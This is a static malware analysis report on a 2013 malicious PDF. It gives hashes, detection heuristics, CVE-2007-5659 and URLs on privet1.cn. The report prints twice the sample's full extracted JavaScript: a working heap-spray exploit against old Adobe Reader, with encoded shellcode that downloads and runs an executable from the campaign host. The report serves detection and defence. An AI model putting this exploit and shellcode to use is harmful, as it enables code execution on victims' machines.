Malicious PDF — malware analysis report

Static analysis result for SHA-256 f9fcdee4642eb91c…

MALICIOUS

PDF

7.5 KB First seen: 2013-10-08
MD5: 2779e44f0793233669b3501819a8a0ed SHA-1: 6bccf110ed5979b8ea995b841405c0852ac1c0e7 SHA-256: f9fcdee4642eb91cddc4bddf9b83b3d10438fda39fff63279a062336b410e7ac
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1140 Deobfuscate/Decode Files or Information

The PDF file contains embedded and obfuscated JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly suggests malicious intent. The unescape() function call further points to obfuscation techniques used to hide malicious code. The primary function of the embedded JavaScript appears to be downloading and executing a second-stage payload, as suggested by the ML_NYX_PDF_MALICIOUS heuristic and the presence of an extracted JavaScript file.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var cVg9s8sJ4YbNwGlFfAqNj = 0x0c0c0c0c;
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB …
   }
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privet1.cn/arend_nt/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://privet1.cn/arend_nt/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://privet1.cn/arend_nt/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://privet1.cn/arend_nt/getexeReferenced by PDF JavaScript
🗂 Part of campaign: privet1.cn 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 6175 bytes
SHA-256: 26ff536c70d0bcc0e41bdb1205ec1387cd39d9c7ab0fbd470f2295d98f895c91
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var hv5tyaPz2PeMyMlD3UyIa = new Array();
 var JZf53WIVZ9VUCPTnpSoE8;
 var lave = eval;
 function PCUwQXQOp23Ph7RDPxnXS(gkslYhEMwLX9qTZNuyDv1, Ic85qX2d6UwpNhN5vk1HI)
 {
   while(gkslYhEMwLX9qTZNuyDv1.length * 2 < Ic85qX2d6UwpNhN5vk1HI)
   {
     gkslYhEMwLX9qTZNuyDv1 += gkslYhEMwLX9qTZNuyDv1;
   }
   gkslYhEMwLX9qTZNuyDv1 = gkslYhEMwLX9qTZNuyDv1.substring(0, Ic85qX2d6UwpNhN5vk1HI / 2);
   return gkslYhEMwLX9qTZNuyDv1;
 }
 function O8miVggichLFpP7MRjRwg(BJNfOJPPaiYiUHDAyvmgG)
 {
   if(BJNfOJPPaiYiUHDAyvmgG == 0)
   {
     var cVg9s8sJ4YbNwGlFfAqNj = 0x0c0c0c0c;
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3174%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(BJNfOJPPaiYiUHDAyvmgG == 1)
   {
     cVg9s8sJ4YbNwGlFfAqNj = 0x30303030;
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3174%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(BJNfOJPPaiYiUHDAyvmgG == 2)
   {
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3174%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var nMEzbu0SIs1AtmCtU3ZTt = 0x400000;
   var o9tovlBmCA1YOzAJ0cb3d = Lr1m3zhpfyrBfz4msNqQy.length * 2;
   var Ic85qX2d6UwpNhN5vk1HI = nMEzbu0SIs1AtmCtU3ZTt - (o9tovlBmCA1YOzAJ0cb3d + 0x38);
   var gkslYhEMwLX9qTZNuyDv1 = unescape("%u9090%u9090");
   gkslYhEMwLX9qTZNuyDv1 = PCUwQXQOp23Ph7RDPxnXS(gkslYhEMwLX9qTZNuyDv1, Ic85qX2d6UwpNhN5vk1HI);
   var RwQypu1OOu0WoxSa0FmJF = (cVg9s8sJ4YbNwGlFfAqNj - 0x400000) / nMEzbu0SIs1AtmCtU3ZTt;
   for(var BiFV2P9cRmOOCNE7OdUJm = 0; BiFV2P9cRmOOCNE7OdUJm < RwQypu1OOu0WoxSa0FmJF; BiFV2P9cRmOOCNE7OdUJm++)
   {
     hv5tyaPz2PeMyMlD3UyIa[BiFV2P9cRmOOCNE7OdUJm] = gkslYhEMwLX9qTZNuyDv1 + Lr1m3zhpfyrBfz4msNqQy;
   }
 }
 function Z8kUitjUDzpvELweUZ7Gy()
 {
   var wTMiakL6597BtbunKO1JE = 0;
   var qYasC5SILRnpnVPYrUc1a = app.viewerVersion.toString();
   app.clearTimeOut(JZf53WIVZ9VUCPTnpSoE8);
   if((qYasC5SILRnpnVPYrUc1a >= 8 && qYasC5SILRnpnVPYrUc1a < 8.102) || qYasC5SILRnpnVPYrUc1a < 7.1)
   {
     O8miVggichLFpP7MRjRwg(0);
     var JtCigW7hqLdOvVb1yuMPh = unescape("%u0c0c%u0c0c");
     while(JtCigW7hqLdOvVb1yuMPh.length < 44952) JtCigW7hqLdOvVb1yuMPh += JtCigW7hqLdOvVb1yuMPh;
     var gCDak65M6fAzrtgOzNEL1 = this;
     var LGWEHU9dtpo74Pr9TED0P = Collab;
     gCDak65M6fAzrtgOzNEL1["collabStore"] = LGWEHU9dtpo74Pr9TED0P["collectEmailInfo"](
     {
       subj : "", msg : JtCigW7hqLdOvVb1yuMPh
     }
     );
   }
   if((qYasC5SILRnpnVPYrUc1a >= 8.102 && qYasC5SILRnpnVPYrUc1a < 8.104) || (qYasC5SILRnpnVPYrUc1a >= 9 && qYasC5SILRnpnVPYrUc1a < 9.1) || qYasC5SILRnpnVPYrUc1a <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         O8miVggichLFpP7MRjRwg(2);
         var P1ItOIGddHGtnUAHdoBTd = unescape("%09");
         while(P1ItOIGddHGtnUAHdoBTd.length < 0x4000)
         {
           P1ItOIGddHGtnUAHdoBTd += P1ItOIGddHGtnUAHdoBTd;
         }
         P1ItOIGddHGtnUAHdoBTd = "N." + P1ItOIGddHGtnUAHdoBTd;
         var uW30eWNsfm6g5y6MFizWy = app;
         uW30eWNsfm6g5y6MFizWy["doc"]["Collab"]["getIcon"](P1ItOIGddHGtnUAHdoBTd);
         wTMiakL6597BtbunKO1JE = 1;
       }
       else
       {
         wTMiakL6597BtbunKO1JE = 1;
       }
     }
     catch(e)
     {
       wTMiakL6597BtbunKO1JE = 1;
     }
     if(wTMiakL6597BtbunKO1JE == 1)
     {
       if(qYasC5SILRnpnVPYrUc1a == 8.102 || qYasC5SILRnpnVPYrUc1a == 7.1)
       {
         O8miVggichLFpP7MRjRwg(1);
         var VKT4b7snZV66XEk4bcjNh = "12999999999999999999";
         for(XSgUowCoTBhnflPldCL9H = 0; XSgUowCoTBhnflPldCL9H < 276; XSgUowCoTBhnflPldCL9H++)
         {
           VKT4b7snZV66XEk4bcjNh += "8";
         }
         var WfWCj8oSVWrxDMl0ZadkH = util;
         WfWCj8oSVWrxDMl0ZadkH["printf"]("%45000f", VKT4b7snZV66XEk4bcjNh);
       }
     }
   }
}
 app.XP3qBf4XnLzTrBDyzfUWX = Z8kUitjUDzpvELweUZ7Gy;
 JZf53WIVZ9VUCPTnpSoE8 = app.setTimeOut("app.XP3qBf4XnLzTrBDyzfUWX()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: 927164c06355a307c57cc829c0496191299020eb5ae0c703476b7c5889cad4a4
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: ca9251970850c6a071777c309751f659b7494f7a4b54f4fd9b76958a64b198f7
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 274 bytes
SHA-256: 7b69a3cae385185aa5cfdd300d1f4f23d2c474188bff659ad650ac2a1a2c6f08
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 6171 bytes
SHA-256: 88b396955d3b339f3f0302f7c3d3880a65e58aee8537431b44f299a0bda5e391
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var hv5tyaPz2PeMyMlD3UyIa = new Array();
 var JZf53WIVZ9VUCPTnpSoE8;
 var lave = eval;
 function PCUwQXQOp23Ph7RDPxnXS(gkslYhEMwLX9qTZNuyDv1, Ic85qX2d6UwpNhN5vk1HI)
 {
   while(gkslYhEMwLX9qTZNuyDv1.length * 2 < Ic85qX2d6UwpNhN5vk1HI)
   {
     gkslYhEMwLX9qTZNuyDv1 += gkslYhEMwLX9qTZNuyDv1;
   }
   gkslYhEMwLX9qTZNuyDv1 = gkslYhEMwLX9qTZNuyDv1.substring(0, Ic85qX2d6UwpNhN5vk1HI / 2);
   return gkslYhEMwLX9qTZNuyDv1;
 }
 function O8miVggichLFpP7MRjRwg(BJNfOJPPaiYiUHDAyvmgG)
 {
   if(BJNfOJPPaiYiUHDAyvmgG == 0)
   {
     var cVg9s8sJ4YbNwGlFfAqNj = 0x0c0c0c0c;
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3174%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(BJNfOJPPaiYiUHDAyvmgG == 1)
   {
     cVg9s8sJ4YbNwGlFfAqNj = 0x30303030;
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3174%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(BJNfOJPPaiYiUHDAyvmgG == 2)
   {
     var Lr1m3zhpfyrBfz4msNqQy =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3174%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var nMEzbu0SIs1AtmCtU3ZTt = 0x400000;
   var o9tovlBmCA1YOzAJ0cb3d = Lr1m3zhpfyrBfz4msNqQy.length * 2;
   var Ic85qX2d6UwpNhN5vk1HI = nMEzbu0SIs1AtmCtU3ZTt - (o9tovlBmCA1YOzAJ0cb3d + 0x38);
   var gkslYhEMwLX9qTZNuyDv1 = unescape("%u9090%u9090");
   gkslYhEMwLX9qTZNuyDv1 = PCUwQXQOp23Ph7RDPxnXS(gkslYhEMwLX9qTZNuyDv1, Ic85qX2d6UwpNhN5vk1HI);
   var RwQypu1OOu0WoxSa0FmJF = (cVg9s8sJ4YbNwGlFfAqNj - 0x400000) / nMEzbu0SIs1AtmCtU3ZTt;
   for(var BiFV2P9cRmOOCNE7OdUJm = 0; BiFV2P9cRmOOCNE7OdUJm < RwQypu1OOu0WoxSa0FmJF; BiFV2P9cRmOOCNE7OdUJm++)
   {
     hv5tyaPz2PeMyMlD3UyIa[BiFV2P9cRmOOCNE7OdUJm] = gkslYhEMwLX9qTZNuyDv1 + Lr1m3zhpfyrBfz4msNqQy;
   }
 }
 function Z8kUitjUDzpvELweUZ7Gy()
 {
   var wTMiakL6597BtbunKO1JE = 0;
   var qYasC5SILRnpnVPYrUc1a = app.viewerVersion.toString();
   app.clearTimeOut(JZf53WIVZ9VUCPTnpSoE8);
   if((qYasC5SILRnpnVPYrUc1a >= 8 && qYasC5SILRnpnVPYrUc1a < 8.102) || qYasC5SILRnpnVPYrUc1a < 7.1)
   {
     O8miVggichLFpP7MRjRwg(0);
     var JtCigW7hqLdOvVb1yuMPh = unescape("%u0c0c%u0c0c");
     while(JtCigW7hqLdOvVb1yuMPh.length < 44952) JtCigW7hqLdOvVb1yuMPh += JtCigW7hqLdOvVb1yuMPh;
     var gCDak65M6fAzrtgOzNEL1 = this;
     var LGWEHU9dtpo74Pr9TED0P = Collab;
     gCDak65M6fAzrtgOzNEL1["collabStore"] = LGWEHU9dtpo74Pr9TED0P["collectEmailInfo"](
     {
       subj : "", msg : JtCigW7hqLdOvVb1yuMPh
     }
     );
   }
   if((qYasC5SILRnpnVPYrUc1a >= 8.102 && qYasC5SILRnpnVPYrUc1a < 8.104) || (qYasC5SILRnpnVPYrUc1a >= 9 && qYasC5SILRnpnVPYrUc1a < 9.1) || qYasC5SILRnpnVPYrUc1a <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         O8miVggichLFpP7MRjRwg(2);
         var P1ItOIGddHGtnUAHdoBTd = unescape("	");
         while(P1ItOIGddHGtnUAHdoBTd.length < 0x4000)
         {
           P1ItOIGddHGtnUAHdoBTd += P1ItOIGddHGtnUAHdoBTd;
         }
         P1ItOIGddHGtnUAHdoBTd = "N." + P1ItOIGddHGtnUAHdoBTd;
         var uW30eWNsfm6g5y6MFizWy = app;
         uW30eWNsfm6g5y6MFizWy["doc"]["Collab"]["getIcon"](P1ItOIGddHGtnUAHdoBTd);
         wTMiakL6597BtbunKO1JE = 1;
       }
       else
       {
         wTMiakL6597BtbunKO1JE = 1;
       }
     }
     catch(e)
     {
       wTMiakL6597BtbunKO1JE = 1;
     }
     if(wTMiakL6597BtbunKO1JE == 1)
     {
       if(qYasC5SILRnpnVPYrUc1a == 8.102 || qYasC5SILRnpnVPYrUc1a == 7.1)
       {
         O8miVggichLFpP7MRjRwg(1);
         var VKT4b7snZV66XEk4bcjNh = "12999999999999999999";
         for(XSgUowCoTBhnflPldCL9H = 0; XSgUowCoTBhnflPldCL9H < 276; XSgUowCoTBhnflPldCL9H++)
         {
           VKT4b7snZV66XEk4bcjNh += "8";
         }
         var WfWCj8oSVWrxDMl0ZadkH = util;
         WfWCj8oSVWrxDMl0ZadkH["printf"]("E000f", VKT4b7snZV66XEk4bcjNh);
       }
     }
   }
}
 app.XP3qBf4XnLzTrBDyzfUWX = Z8kUitjUDzpvELweUZ7Gy;
 JZf53WIVZ9VUCPTnpSoE8 = app.setTimeOut("app.XP3qBf4XnLzTrBDyzfUWX()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.